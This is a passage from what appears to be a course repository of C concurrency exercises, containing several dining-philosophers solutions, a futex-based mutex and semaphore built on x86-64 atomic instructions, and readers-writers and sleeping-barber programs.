d->has_fork[i][left_hand] = 0;
d->has_fork[left_of(i)][right_hand] = 1;
sem_post(&d->forks[left_of(i)]);
}
if (d->wants_fork[right_of(i)][left_hand]) {
d->fork_state[right_of(i)] = clean;
d->has_fork[i][right_hand] = 0;
d->has_fork[right_of(i)][left_hand] = 1;
sem_post(&d->forks[right_of(i)]);
}
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
data_t d;
data_init(&d);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
data_destroy(&d);
return 0;
}
philosophers-14.cC / 154 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5,
num_hands = 2
};
enum hands {
left_hand,
right_hand
};
enum fork_states {
dirty,
clean
};
typedef struct {
sem_t data_sem;
int has_fork[num_philosophers][num_hands];
int wants_fork[num_philosophers][num_hands];
sem_t forks[num_philosophers];
int fork_state[num_philosophers];
pthread_mutex_t state_mut;
int i;
} data_t;
static void data_init(data_t *d)
{
int i;
sem_init(&d->data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++) {
d->has_fork[i][left_hand] = 1;
d->has_fork[i][right_hand] = 0;
d->wants_fork[i][left_hand] = 0;
d->wants_fork[i][right_hand] = 0;
sem_init(&d->forks[i], 0, 1);
d->fork_state[i] = dirty;
}
pthread_mutex_init(&d->state_mut, NULL);
}
static void data_destroy(data_t *d)
{
int i;
sem_destroy(&d->data_sem);
for (i = 0; i < num_philosophers; i++)
sem_destroy(&d->forks[i]);
pthread_mutex_destroy(&d->state_mut);
}
static int left_of(int i)
{
return (i - 1 + num_philosophers) % num_philosophers;
}
static int right_of(int i)
{
return (i + 1) % num_philosophers;
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void give_fork(data_t *d, int i, int shift_i, int sem_i, int hand,
int include_wants)
{
int other_hand = (hand + 1) % num_hands;
if (d->wants_fork[shift_i][other_hand] &&
(!include_wants || d->has_fork[i][hand] &&
d->fork_state[sem_i] == dirty)) {
pthread_mutex_lock(&d->state_mut);
d->fork_state[sem_i] = clean;
if (include_wants)
d->wants_fork[i][hand] = 1;
d->has_fork[i][hand] = 0;
d->has_fork[shift_i][other_hand] = 1;
pthread_mutex_unlock(&d->state_mut);
sem_post(&d->forks[sem_i]);
}
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
sleep(1);
give_fork(d, i, left_of(i), i, left_hand, 1);
if (!d->has_fork[i][left_hand]) {
pthread_mutex_lock(&d->state_mut);
d->wants_fork[i][left_hand] = 1;
pthread_mutex_unlock(&d->state_mut);
sem_wait(&d->forks[i]);
}
give_fork(d, i, right_of(i), right_of(i), right_hand, 1);
if (!d->has_fork[i][right_hand]) {
pthread_mutex_lock(&d->state_mut);
d->wants_fork[i][right_hand] = 1;
pthread_mutex_unlock(&d->state_mut);
sem_wait(&d->forks[right_of(i)]);
}
eat(i);
d->fork_state[i] = dirty;
d->fork_state[right_of(i)] = dirty;
give_fork(d, i, left_of(i), i, left_hand, 0);
give_fork(d, i, right_of(i), right_of(i), right_hand, 0);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
data_t d;
data_init(&d);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
data_destroy(&d);
return 0;
}
philosophers-15.cC / 277 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5,
num_hands = 2
};
enum hands {
left_hand,
right_hand
};
enum fork_states {
dirty,
clean
};
typedef struct {
sem_t data_sem;
int has_fork[num_philosophers][num_hands];
int wants_fork[num_philosophers][num_hands];
sem_t events[num_philosophers];
int fork_state[num_philosophers];
pthread_mutex_t state_mut;
int i;
} data_t;
static int left_of(int i)
{
return (i - 1 + num_philosophers) % num_philosophers;
}
static int right_of(int i)
{
return (i + 1) % num_philosophers;
}
static int fork_of(int i, int hand)
{
return (hand == left_hand) ? i : right_of(i);
}
static int neighbor_of(int i, int hand)
{
return (hand == left_hand) ? left_of(i) : right_of(i);
}
static int neighbor_hand(int hand)
{
return (hand == left_hand) ? right_hand : left_hand;
}
static void data_init(data_t *d)
{
int i, a, b;
sem_init(&d->data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++) {
d->has_fork[i][left_hand] = 0;
d->has_fork[i][right_hand] = 0;
d->wants_fork[i][left_hand] = 0;
d->wants_fork[i][right_hand] = 0;
sem_init(&d->events[i], 0, 0);
d->fork_state[i] = dirty;
}
pthread_mutex_init(&d->state_mut, NULL);
for (i = 0; i < num_philosophers; i++) {
a = i;
b = left_of(i);
if (a < b)
d->has_fork[a][left_hand] = 1;
else
d->has_fork[b][right_hand] = 1;
}
}
static void data_destroy(data_t *d)
{
int i;
sem_destroy(&d->data_sem);
for (i = 0; i < num_philosophers; i++)
sem_destroy(&d->events[i]);
pthread_mutex_destroy(&d->state_mut);
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void give_fork(data_t *d, int i, int hand, int hungry)
{
int neighbor, other_hand, fork, gave;
neighbor = neighbor_of(i, hand);
other_hand = neighbor_hand(hand);
fork = fork_of(i, hand);
gave = 0;
pthread_mutex_lock(&d->state_mut);
if (d->has_fork[i][hand] &&
d->wants_fork[neighbor][other_hand] &&
d->fork_state[fork] == dirty) {
d->fork_state[fork] = clean;
d->wants_fork[neighbor][other_hand] = 0;
d->has_fork[i][hand] = 0;
d->has_fork[neighbor][other_hand] = 1;
if (hungry)
d->wants_fork[i][hand] = 1;
gave = 1;
}
pthread_mutex_unlock(&d->state_mut);
if (gave)
sem_post(&d->events[neighbor]);
}
static void give_forks(data_t *d, int i, int hungry)
{
give_fork(d, i, left_hand, hungry);
give_fork(d, i, right_hand, hungry);
}
static void request_fork(data_t *d, int i, int hand)
{
int neighbor, notify;
neighbor = neighbor_of(i, hand);
notify = 0;
pthread_mutex_lock(&d->state_mut);
if (!d->has_fork[i][hand] && !d->wants_fork[i][hand]) {
d->wants_fork[i][hand] = 1;
notify = 1;
}
pthread_mutex_unlock(&d->state_mut);
if (notify)
sem_post(&d->events[neighbor]);
}
static void request_forks(data_t *d, int i)
{
request_fork(d, i, left_hand);
request_fork(d, i, right_hand);
}
static int ready_to_eat(data_t *d, int i)
{
int hand, result, neighbor, other_hand, fork;
result = 1;
pthread_mutex_lock(&d->state_mut);
if (!d->has_fork[i][left_hand] || !d->has_fork[i][right_hand])
result = 0;
else
for (hand = 0; hand < num_hands; hand++) {
neighbor = neighbor_of(i, hand);
other_hand = neighbor_hand(hand);
fork = fork_of(i, hand);
if (d->wants_fork[neighbor][other_hand] &&
d->fork_state[fork] == dirty) {
result = 0;
break;
}
}
pthread_mutex_unlock(&d->state_mut);
return result;
}
static void make_forks_dirty(data_t *d, int i)
{
int left, right;
left = fork_of(i, left_hand);
right = fork_of(i, right_hand);
pthread_mutex_lock(&d->state_mut);
if (d->has_fork[i][left_hand])
d->fork_state[left] = dirty;
if (d->has_fork[i][right_hand])
d->fork_state[right] = dirty;
pthread_mutex_unlock(&d->state_mut);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
sleep(1);
while (1) {
give_forks(d, i, 1);
request_forks(d, i);
if (ready_to_eat(d, i))
break;
sem_wait(&d->events[i]);
}
eat(i);
sleep(1);
make_forks_dirty(d, i);
give_forks(d, i, 0);
}
return NULL;
}
int main()
{
int i, failed;
pthread_t t[num_philosophers];
data_t d;
data_init(&d);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
failed = pthread_create(&t[i], NULL, philosopher, &d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
return 1;
}
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
data_destroy(&d);
return 0;
}
philosophers-16-2-3.cC / 83 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 3
};
typedef struct {
sem_t data_sem;
pthread_mutex_t forks;
int i;
} data_t;
static void data_init(data_t *d)
{
sem_init(&d->data_sem, 0, 0);
pthread_mutex_init(&d->forks, NULL);
}
static void data_destroy(data_t *d)
{
sem_destroy(&d->data_sem);
pthread_mutex_destroy(&d->forks);
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
sleep(1);
pthread_mutex_lock(&d->forks);
eat(i);
pthread_mutex_unlock(&d->forks);
}
return NULL;
}
int main()
{
int i, failed;
pthread_t t[num_philosophers];
data_t d;
data_init(&d);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
failed = pthread_create(&t[i], NULL, philosopher, &d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
return 1;
}
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
data_destroy(&d);
return 0;
}
philosophers-17-4.cC / 129 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 4
};
enum possible_states {
thinking,
hungry,
eating
};
typedef struct {
sem_t data_sem;
int state[num_philosophers];
pthread_mutex_t state_mut;
sem_t events[num_philosophers];
int i;
} data_t;
static void data_init(data_t *d)
{
int i;
sem_init(&d->data_sem, 0, 0);
pthread_mutex_init(&d->state_mut, NULL);
for (i = 0; i < num_philosophers; i++) {
d->state[i] = thinking;
sem_init(&d->events[i], 0, 0);
}
}
static void data_destroy(data_t *d)
{
int i;
sem_destroy(&d->data_sem);
pthread_mutex_destroy(&d->state_mut);
for (i = 0; i < num_philosophers; i++)
sem_destroy(&d->events[i]);
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static int left_of(int i)
{
return (i - 1 + num_philosophers) % num_philosophers;
}
static int right_of(int i)
{
return (i + 1) % num_philosophers;
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
pthread_mutex_lock(&d->state_mut);
d->state[i] = thinking;
pthread_mutex_unlock(&d->state_mut);
think(i);
sleep(1);
pthread_mutex_lock(&d->state_mut);
d->state[i] = hungry;
if (d->state[left_of(i)] == eating)
sem_wait(&d->events[i]);
if (d->state[right_of(i)] == eating)
sem_wait(&d->events[i]);
if (d->state[left_of(i)] != eating &&
d->state[right_of(i)] != eating) {
d->state[i] = eating;
eat(i);
d->state[i] = thinking;
if (d->state[left_of(i)] == hungry)
sem_post(&d->events[left_of(i)]);
if (d->state[right_of(i)] == hungry)
sem_post(&d->events[right_of(i)]);
}
pthread_mutex_unlock(&d->state_mut);
}
return NULL;
}
int main()
{
int i, failed;
pthread_t t[num_philosophers];
data_t d;
data_init(&d);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
failed = pthread_create(&t[i], NULL, philosopher, &d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
return 1;
}
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
data_destroy(&d);
return 0;
}
philosophers-18-4.cC / 135 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 4,
think_seconds = 3,
eat_seconds = 1
};
enum possible_states {
thinking,
hungry,
eating
};
typedef struct {
sem_t data_sem;
int state[num_philosophers];
pthread_mutex_t state_mut;
sem_t events[num_philosophers];
int i;
} data_t;
static void data_init(data_t *d)
{
int i;
sem_init(&d->data_sem, 0, 0);
pthread_mutex_init(&d->state_mut, NULL);
for (i = 0; i < num_philosophers; i++) {
d->state[i] = thinking;
sem_init(&d->events[i], 0, 0);
}
}
static void data_destroy(data_t *d)
{
int i;
sem_destroy(&d->data_sem);
pthread_mutex_destroy(&d->state_mut);
for (i = 0; i < num_philosophers; i++)
sem_destroy(&d->events[i]);
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
sleep(think_seconds);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
sleep(eat_seconds);
}
static int left_of(int i)
{
return (i - 1 + num_philosophers) % num_philosophers;
}
static int right_of(int i)
{
return (i + 1) % num_philosophers;
}
static void test(data_t *d, int i)
{
if (d->state[i] == hungry &&
d->state[left_of(i)] != eating &&
d->state[right_of(i)] != eating) {
d->state[i] = eating;
sem_post(&d->events[i]);
}
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
pthread_mutex_lock(&d->state_mut);
d->state[i] = hungry;
test(d, i);
pthread_mutex_unlock(&d->state_mut);
sem_wait(&d->events[i]);
eat(i);
pthread_mutex_lock(&d->state_mut);
d->state[i] = thinking;
test(d, left_of(i));
test(d, right_of(i));
pthread_mutex_unlock(&d->state_mut);
}
return NULL;
}
int main()
{
int i, failed;
pthread_t t[num_philosophers];
data_t d;
data_init(&d);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
failed = pthread_create(&t[i], NULL, philosopher, &d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
return 1;
}
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
data_destroy(&d);
return 0;
}
philosophers-00 (07-02-02)
MakefileMake / 28 lines
SRCMODULES = atomic.asm futex.c mutex.c semaphore.c
OBJMODULES = $(SRCMODULES:.asm=.o)
OBJMODULES := $(OBJMODULES:.c=.o)
PROGRAMS = main
CC = gcc
CFLAGS = -g -Wall -O0
ASM = nasm
AFLAGS = -g -f elf64
all: $(PROGRAMS)
%.o: %.asm %.h
$(ASM) $(AFLAGS) $< -o $@
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
atomic.asmAssembly / 26 lines
global xchg
global cmpxchg
global dec
global inc
section .text
xchg:
mov eax, esi
xchg dword [rdi], eax
ret
cmpxchg:
mov eax, esi
lock cmpxchg dword [rdi], edx
ret
dec:
mov eax, -1
lock xadd dword [rdi], eax
ret
inc:
mov eax, 1
lock xadd dword [rdi], eax
ret
atomic.hC / 9 lines
#ifndef ATOMIC_H
#define ATOMIC_H
int xchg(int *var, int old);
int cmpxchg(int *var, int old, int new);
int dec(int *var);
int inc(int *var);
#endif
futex.cC / 15 lines
#include <linux/futex.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "futex.h"
void futex_wait(int *futex, int expected)
{
syscall(SYS_futex, futex, FUTEX_WAIT, expected, NULL, NULL, 0);
}
void futex_wake(int *futex, int num)
{
syscall(SYS_futex, futex, FUTEX_WAKE, num, NULL, NULL, 0);
}
futex.hC / 7 lines
#ifndef FUTEX_H
#define FUTEX_H
void futex_wait(int *futex, int expected);
void futex_wake(int *futex, int num);
#endif
main.cC / 84 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "mutex.h"
#include "semaphore.h"
enum {
num_philosophers = 5
};
typedef struct {
int forks[num_philosophers];
semaphore_t s;
} data_t;
typedef struct {
data_t *data;
int i;
} philosopher_data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
philosopher_data_t *p = data;
data_t *d = p->data;
int i = p->i;
while (1) {
think(i);
down(&d->s);
lock(&d->forks[i]);
sleep(1);
lock(&d->forks[right(i)]);
eat(i);
unlock(&d->forks[i]);
unlock(&d->forks[right(i)]);
up(&d->s);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t[num_philosophers];
philosopher_data_t p[num_philosophers];
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of semaphores>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
init(&d.s, n);
for (i = 0; i < num_philosophers; i++)
d.forks[i] = 0;
for (i = 0; i < num_philosophers; i++) {
p[i].i = i;
p[i].data = &d;
pthread_create(&t[i], NULL, philosopher, &p[i]);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
return 0;
}
mutex.cC / 30 lines
#include "atomic.h"
#include "futex.h"
#include "mutex.h"
void lock(int *m)
{
int old;
old = cmpxchg(m, 0, 1);
if (old != 0) {
if (old != 2)
old = xchg(m, 2);
while (old != 0) {
futex_wait(m, 2);
old = xchg(m, 2);
}
}
}
void unlock(int *m)
{
int old;
old = dec(m);
if (old != 1) {
*m = 0;
futex_wake(m, 1);
}
}
mutex.hC / 7 lines
#ifndef MUTEX_H
#define MUTEX_H
void lock(int *m);
void unlock(int *m);
#endif
semaphore.cC / 51 lines
#include "atomic.h"
#include "futex.h"
#include "semaphore.h"
void init(semaphore_t *s, int value)
{
s->value = value;
s->waiters = 0;
}
static int try_down(semaphore_t *s)
{
int value, old;
value = s->value;
while (value > 0) {
old = cmpxchg(&s->value, value, value - 1);
if (old == value)
return 1;
value = old;
}
return 0;
}
void down(semaphore_t *s)
{
int success;
success = try_down(s);
if (success)
return;
inc(&s->waiters);
while (1) {
success = try_down(s);
if (success) {
dec(&s->waiters);
return;
}
futex_wait(&s->value, 0);
}
}
void up(semaphore_t *s)
{
inc(&s->value);
if (s->waiters > 0)
futex_wake(&s->value, 1);
}
semaphore.hC / 13 lines
#ifndef SEMAPHORE_H
#define SEMAPHORE_H
typedef struct {
int value;
int waiters;
} semaphore_t;
void init(semaphore_t *s, int value);
void down(semaphore_t *s);
void up(semaphore_t *s);
#endif
test_mutex.cC / 54 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "mutex.h"
enum {
pause_seconds = 1
};
typedef struct {
int val;
int x;
} data_t;
static void *worker_thread(void *data)
{
data_t *d = data;
while (1) {
lock(&d->val);
d->x++;
unlock(&d->val);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t;
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
d.val = 0;
d.x = 0;
for (i = 0; i < n; i++)
pthread_create(&t, NULL, worker_thread, &d);
while (1) {
printf("%d\n", d.x);
sleep(pause_seconds);
}
return 0;
}
test_semaphore.cC / 56 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "semaphore.h"
enum {
pause_seconds = 1
};
typedef struct {
semaphore_t s;
int x;
} data_t;
static void *worker_thread(void *data)
{
data_t *d = data;
while (1) {
down(&d->s);
d->x++;
up(&d->s);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t;
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
init(&d.s, 1);
d.x = 0;
for (i = 0; i < n; i++)
pthread_create(&t, NULL, worker_thread, &d);
while (1) {
down(&d.s);
printf("%d\n", d.x);
up(&d.s);
sleep(pause_seconds);
}
return 0;
}
philosophers-01 (07-02-02)
MakefileMake / 28 lines
SRCMODULES = atomic.asm futex.c mutex.c semaphore.c
OBJMODULES = $(SRCMODULES:.asm=.o)
OBJMODULES := $(OBJMODULES:.c=.o)
PROGRAMS = main
CC = gcc
CFLAGS = -g -Wall -O0
ASM = nasm
AFLAGS = -g -f elf64
all: $(PROGRAMS)
%.o: %.asm %.h
$(ASM) $(AFLAGS) $< -o $@
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
atomic.asmAssembly / 26 lines
global xchg
global cmpxchg
global dec
global inc
section .text
xchg:
mov eax, esi
xchg dword [rdi], eax
ret
cmpxchg:
mov eax, esi
lock cmpxchg dword [rdi], edx
ret
dec:
mov eax, -1
lock xadd dword [rdi], eax
ret
inc:
mov eax, 1
lock xadd dword [rdi], eax
ret
atomic.hC / 9 lines
#ifndef ATOMIC_H
#define ATOMIC_H
int xchg(int *var, int old);
int cmpxchg(int *var, int old, int new);
int dec(int *var);
int inc(int *var);
#endif
futex.cC / 15 lines
#include <linux/futex.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "futex.h"
void futex_wait(int *futex, int expected)
{
syscall(SYS_futex, futex, FUTEX_WAIT, expected, NULL, NULL, 0);
}
void futex_wake(int *futex, int num)
{
syscall(SYS_futex, futex, FUTEX_WAKE, num, NULL, NULL, 0);
}
futex.hC / 7 lines
#ifndef FUTEX_H
#define FUTEX_H
void futex_wait(int *futex, int expected);
void futex_wake(int *futex, int num);
#endif
main.cC / 85 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "mutex.h"
#include "semaphore.h"
enum {
num_philosophers = 5
};
typedef struct {
int forks[num_philosophers];
} data_t;
typedef struct {
data_t *data;
int i;
} philosopher_data_t;
int right_fork(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
void swap_int(int *x, int *y)
{
int tmp;
tmp = *x;
*x = *y;
*y = tmp;
}
static void *philosopher(void *data)
{
philosopher_data_t *p = data;
data_t *d = p->data;
int i = p->i;
int left = i, right = right_fork(i);
if (right < left)
swap_int(&left, &right);
while (1) {
think(i);
sleep(4);
lock(&d->forks[left]);
lock(&d->forks[right]);
eat(i);
unlock(&d->forks[left]);
unlock(&d->forks[right]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
philosopher_data_t p[num_philosophers];
data_t d;
for (i = 0; i < num_philosophers; i++)
d.forks[i] = 0;
for (i = 0; i < num_philosophers; i++) {
p[i].i = i;
p[i].data = &d;
pthread_create(&t[i], NULL, philosopher, &p[i]);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
return 0;
}
mutex.cC / 30 lines
#include "atomic.h"
#include "futex.h"
#include "mutex.h"
void lock(int *m)
{
int old;
old = cmpxchg(m, 0, 1);
if (old != 0) {
if (old != 2)
old = xchg(m, 2);
while (old != 0) {
futex_wait(m, 2);
old = xchg(m, 2);
}
}
}
void unlock(int *m)
{
int old;
old = dec(m);
if (old != 1) {
*m = 0;
futex_wake(m, 1);
}
}
mutex.hC / 7 lines
#ifndef MUTEX_H
#define MUTEX_H
void lock(int *m);
void unlock(int *m);
#endif
semaphore.cC / 51 lines
#include "atomic.h"
#include "futex.h"
#include "semaphore.h"
void init(semaphore_t *s, int value)
{
s->value = value;
s->waiters = 0;
}
static int try_down(semaphore_t *s)
{
int value, old;
value = s->value;
while (value > 0) {
old = cmpxchg(&s->value, value, value - 1);
if (old == value)
return 1;
value = old;
}
return 0;
}
void down(semaphore_t *s)
{
int success;
success = try_down(s);
if (success)
return;
inc(&s->waiters);
while (1) {
success = try_down(s);
if (success) {
dec(&s->waiters);
return;
}
futex_wait(&s->value, 0);
}
}
void up(semaphore_t *s)
{
inc(&s->value);
if (s->waiters > 0)
futex_wake(&s->value, 1);
}
semaphore.hC / 13 lines
#ifndef SEMAPHORE_H
#define SEMAPHORE_H
typedef struct {
int value;
int waiters;
} semaphore_t;
void init(semaphore_t *s, int value);
void down(semaphore_t *s);
void up(semaphore_t *s);
#endif
test_mutex.cC / 54 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "mutex.h"
enum {
pause_seconds = 1
};
typedef struct {
int val;
int x;
} data_t;
static void *worker_thread(void *data)
{
data_t *d = data;
while (1) {
lock(&d->val);
d->x++;
unlock(&d->val);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t;
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
d.val = 0;
d.x = 0;
for (i = 0; i < n; i++)
pthread_create(&t, NULL, worker_thread, &d);
while (1) {
printf("%d\n", d.x);
sleep(pause_seconds);
}
return 0;
}
test_semaphore.cC / 56 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "semaphore.h"
enum {
pause_seconds = 1
};
typedef struct {
semaphore_t s;
int x;
} data_t;
static void *worker_thread(void *data)
{
data_t *d = data;
while (1) {
down(&d->s);
d->x++;
up(&d->s);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t;
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
init(&d.s, 1);
d.x = 0;
for (i = 0; i < n; i++)
pthread_create(&t, NULL, worker_thread, &d);
while (1) {
down(&d.s);
printf("%d\n", d.x);
up(&d.s);
sleep(pause_seconds);
}
return 0;
}
04 (07-02)
readers-writers-00.cC / 128 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_readers = 10,
num_writers = 2
};
typedef struct {
sem_t data_sem;
sem_t db_access;
pthread_mutex_t rc_mutex;
pthread_mutex_t barrier;
int i;
int var;
int rc;
} data_t;
static void data_init(data_t *d)
{
sem_init(&d->data_sem, 0, 0);
sem_init(&d->db_access, 0, 1);
pthread_mutex_init(&d->rc_mutex, NULL);
pthread_mutex_init(&d->barrier, NULL);
d->var = 0;
d->rc = 0;
}
static void data_destroy(data_t *d)
{
sem_destroy(&d->data_sem);
sem_destroy(&d->db_access);
pthread_mutex_destroy(&d->rc_mutex);
pthread_mutex_destroy(&d->barrier);
}
static void *reader(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
pthread_mutex_lock(&d->barrier);
pthread_mutex_unlock(&d->barrier);
pthread_mutex_lock(&d->rc_mutex);
d->rc++;
if (d->rc == 1)
sem_wait(&d->db_access);
pthread_mutex_unlock(&d->rc_mutex);
printf("%d reads %d\n", i, d->var);
pthread_mutex_lock(&d->rc_mutex);
d->rc--;
if (d->rc == 0)
sem_post(&d->db_access);
pthread_mutex_unlock(&d->rc_mutex);
sleep(1);
}
return NULL;
}
static void *writer(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
pthread_mutex_lock(&d->barrier);
sem_wait(&d->db_access);
d->var++;
printf("%d writes %d\n", i, d->var);
sem_post(&d->db_access);
pthread_mutex_unlock(&d->barrier);
sleep(2);
}
return NULL;
}
int main()
{
int i, failed;
pthread_t tr[num_readers];
pthread_t tw[num_writers];
data_t d;
data_init(&d);
for (i = 0; i < num_readers; i++) {
d.i = i;
failed = pthread_create(&tr[i], NULL, reader, &d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
return 1;
}
sem_wait(&d.data_sem);
}
for (i = 0; i < num_writers; i++) {
d.i = i;
failed = pthread_create(&tw[i], NULL, writer, &d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
return 1;
}
sem_wait(&d.data_sem);
}
for (i = 0; i < num_readers; i++)
pthread_join(tr[i], NULL);
for (i = 0; i < num_writers; i++)
pthread_join(tw[i], NULL);
data_destroy(&d);
return 0;
}
05 (07-02)
barber-00.cC / 118 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_seats = 4,
num_clients = 6
};
typedef void *(*callback_t)(void*);
typedef struct {
sem_t data_sem;
int seats;
pthread_mutex_t seats_mutex;
sem_t customers;
sem_t barber;
int i;
} data_t;
static void data_init(data_t *d)
{
sem_init(&d->data_sem, 0, 0);
d->seats = num_seats;
pthread_mutex_init(&d->seats_mutex, NULL);
sem_init(&d->customers, 0, 0);
sem_init(&d->barber, 0, 0);
}
static void data_destroy(data_t *d)
{
sem_destroy(&d->data_sem);
pthread_mutex_destroy(&d->seats_mutex);
sem_destroy(&d->customers);
sem_destroy(&d->barber);
}
static void *barber(void *data)
{
data_t *d = data;
while (1) {
sem_wait(&d->customers);
pthread_mutex_lock(&d->seats_mutex);
sem_post(&d->barber);
d->seats++;
pthread_mutex_unlock(&d->seats_mutex);
printf("barber is working\n");
sleep(1);
}
return NULL;
}
static void *client(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
pthread_mutex_lock(&d->seats_mutex);
if (d->seats > 0) {
sem_post(&d->customers);
d->seats--;
pthread_mutex_unlock(&d->seats_mutex);
sem_wait(&d->barber);
printf("haircut for client %d starts\n", i);
} else
pthread_mutex_unlock(&d->seats_mutex);
sleep(2);
}
return NULL;
}
static void create_thread(pthread_t *t, callback_t callback, data_t *d)
{
int failed = pthread_create(t, NULL, callback, d);
if (failed) {
fprintf(stderr, "pthread_create failed\n");
exit(1);
}
}
int main()
{
int i, failed;
pthread_t tb;
pthread_t tc[num_clients];
data_t d;
data_init(&d);
create_thread(&tb, barber, &d);
